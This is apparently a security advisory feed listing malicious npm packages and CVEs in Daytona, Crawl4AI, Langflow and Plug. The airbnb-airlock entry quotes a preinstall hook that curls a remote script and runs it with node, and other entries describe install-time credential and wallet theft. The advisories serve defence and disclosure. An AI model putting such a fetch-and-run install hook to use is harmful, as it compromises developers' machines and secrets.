Malicious code in triage-bot (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2ef2bb10931626a345e1277463f9c2ec6ca36108c2d6131c9210707ea5692a64 package.json declares preinstall: node index.js, so the payload runs automatically on npm install with no user action. index.js requires os, fs, and...

MAL-2026-6346 Malicious code in triage-bot (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2ef2bb10931626a345e1277463f9c2ec6ca36108c2d6131c9210707ea5692a64 package.json declares preinstall: node index.js, so the payload runs automatically on npm install with no user action. index.js requires os, fs, and...

CVE-2026-54323

creationtimestamp| type| source ---|---|--- 2026-06-23 20:11:39+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3moy7ixesuo2r...

MAL-2026-6339 Malicious code in rainbokit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 692bd458c1417d7b87761cfa62e666685cb8d2ebf605b54de3ef8ad5dd993555 The package publishes as rainbokit but ships a verbatim copy of the legitimate big.js library matching author, repository URL, README, LICENCE, and...

CyberSentinel-Pro-Web-Vulnerability-Scanner

CyberSentinel Pro CyberSentinel Pro is a web vulnerability sc...

CVE-2026-54324

Daytona is a secure and elastic infrastructure runtime for AI-generated code execution and agent workflows. Prior to 0.185.0, a cross-tenant authorization flaw in Daytona's notification WebSocket gateway allowed any authenticated user to subscribe to another organization's realtime notification...

CVE-2026-54324

Daytona is a secure and elastic infrastructure runtime for AI-generated code execution and agent workflows. Prior to 0.185.0, a cross-tenant authorization flaw in Daytona's notification WebSocket gateway allowed any authenticated user to subscribe to another organization's realtime notification...

CVE-2026-56815

creationtimestamp| type| source ---|---|--- 2026-06-23 16:31:17+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3moxt6vyz4g2t 2026-06-23 21:31:57+00:00| seen| https://bsky.app/profile/payloadforge.io/post/3moydyj6t6s2m 2026-06-24 11:39:31+00:00| seen|...

Malicious code in ts-grok (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d Package ts-grok ships a verbatim copy of big.js v7.0.1 same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git...

Security Bulletin: DNS Rebinding TOCTOU Bypass of SSRF Protection in Langflow OSS URL Component

Summary Langflow OSS contains DNS rebinding TOCTOU vulnerability bypassing SSRF protection. URL component validates URLs with validateurlforssrf but fetches via RecursiveUrlLoader performing independent DNS resolution, creating exploitable TOCTOU window. Maintainers fixed identical issue in...

MAL-2026-6316 Malicious code in ts-biginteger-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8059a1d2db2edb7231b017023f82f6a651585c0ee7120aaebe882cb6407b9e3 Package is published as 'ts-biginteger-lib' but its metadata, README, and source are a wholesale copy of big.js by MikeMcl author set to 'Michael...

Malicious code in web3-crypto-address-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 36cd7750ff28e527c0a147330b21275364e997713a22a026e74dffb81cb9b123 [email protected] advertises itself as a multi-chain wallet address validator but ships an active crypto stealer that fires automatical...

Malicious code in ts-predict-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943 Package is published as ts-predict-helper but ships a byte-equivalent copy of big.js v7.0.1's source and README which states 'No dependencies', along...

MAL-2026-6322 Malicious code in ts-predict-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943 Package is published as ts-predict-helper but ships a byte-equivalent copy of big.js v7.0.1's source and README which states 'No dependencies', along...

MAL-2026-6293 Malicious code in airbnb-airlock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 034fd98a2ccd98f2bec2201d130c5a102ad17907c37af34b5162592e26a0fd43 The package's preinstall lifecycle hook in package.json runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching an unpinne...

MAL-2026-6294 Malicious code in cue-mcp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5dce71f7cd453bd73a138279dd78ebc607d7c4f6b171bd3b76c7f456a6eb907a The package's postinstall.js script runs automatically on npm install and collects host identifying data os.hostname along with process environment...

PYSEC-2026-228

Crawl4AI before 0.8.8 contains an arbitrary file write vulnerability in the screenshot and PDF endpoints that allows unauthenticated attackers to write files outside the intended directory via symlink and time-of-check-time-of-use TOCTOU attacks on the outputpath parameter. Remote attackers can...

CVE-2026-56258

Crawl4AI before 0.8.8 contains an arbitrary file write vulnerability in the screenshot and PDF endpoints that allows unauthenticated attackers to write files outside the intended directory via symlink and time-of-check-time-of-use TOCTOU attacks on the outputpath parameter. Remote attackers can...

AI Threat Readiness Pillar 4: Detect and contain threats in real-time

Your guide to operationalizing AI-powered threat detection and response with Wiz to stay ahead of AI-driven attackers...

CVE-2026-54892 Plug: quadratic-time decoding of nested query/body parameters enables denial of service

Inefficient algorithmic complexity in Plug's nested-parameter decoder allows an unauthenticated remote attacker to cause denial of service. Plug.Conn.Query.decode/4 and Plug.Conn.Query.decodeeach/2 parse query strings and application/x-www-form-urlencoded request bodies. When a key contains many...